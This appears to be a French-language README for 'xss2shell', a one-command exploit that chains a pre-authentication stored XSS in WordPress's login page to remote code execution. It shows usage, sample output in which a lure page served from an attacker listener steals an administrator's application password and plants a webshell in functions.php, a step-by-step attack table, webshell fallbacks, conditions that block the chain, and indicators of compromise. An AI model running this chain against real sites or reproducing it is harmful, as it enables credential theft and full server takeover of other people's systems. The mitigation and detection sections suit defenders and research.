
CVE-2026-64638 | WordPress < 7.0.3 XSS stocké pré-authentification → RCE
Tous les PoC publics pour cette CVE sont cassés. Celui-ci fonctionne.
WordPress < 7.0.3 n'assainit pas le paramètre log (nom d'utilisateur) dans wp-login.php. La valeur est stockée et rendue dans la session authentifiée de l'administrateur — une XSS stockée pré-authentification qui permet, en un seul clic, de prendre le contrôle total du serveur.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| Étape | Action | Détail |
|---|---|---|
| 1. XSS | Injection via wp-login.php | Un paramètre log forgé avec du DOM clobbering (<area id=ajaxurl>) détourne l'URL AJAX de WP, déclenchant automatiquement l'approbation du mot de passe d'application via JSONP |
| 2. Vol | Exfiltration du mot de passe d'application | authorize-application.php crée silencieusement un mot de passe d'application ; success_url l'envoie à l'attaquant |
| 3. Shell | Écriture d'un webshell (3 solutions de repli) | Éditeur de thème → functions.php · Téléversement de plugin → xss2shell/shell.php · Éditeur de plugin → fichier de plugin existant |
| 4. RCE | Exécution de commandes système | Le webshell exécute shell_exec(), renvoie une sortie JSON, l'outil vérifie et nettoie automatiquement |
| Version | Statut |
|---|---|
| WordPress < 7.0.3 | Vulnérable |
| WordPress >= 7.0.3 | Corrigé |
| Condition | Impact |
|---|---|
DISALLOW_FILE_EDIT | Éditeurs de thème/plugin bloqués — seul le téléversement ZIP fonctionne |
DISALLOW_FILE_MODS | Les 3 méthodes bloquées — pas de RCE |
| WAF (Cloudflare, Wordfence) | Peut filtrer la charge utile XSS ou les requêtes de webshell |
disable_functions dans PHP | shell_exec bloqué — sortie vide |
| Bloqueur de pop-up | Casse la chaîne de pop-ups |
| En-têtes CSP stricts | Bloque le JS inline ou le fetch cross-origin |
Recherchez ces indicateurs si xss2shell a été utilisé contre votre site :
XSS2Shell-Poc-Wordsecxss2shell dans wp-content/plugins/xss2shell_cmd dans functions.php ou tout fichier de plugin/?rest_route=/&_method=GET&_jsonp=Tous les PoC publics pour CVE-2026-64638 s'arrêtent à alert(1) ou nécessitent des étapes manuelles qu'aucun trieur ne peut reproduire. Cet outil fournit l'exploitation complète de la chaîne en une seule commande — de zéro authentification jusqu'à la RCE. Conçu pour les chercheurs en sécurité qui ont besoin de preuves, pas de théorie.
Pour les tests de sécurité autorisés et à des fins éducatives uniquement. À utiliser uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de tester. L'accès non autorisé à des systèmes informatiques est illégal.
WordSec · CVE-2026-64638 · Corrigé dans WordPress 7.0.3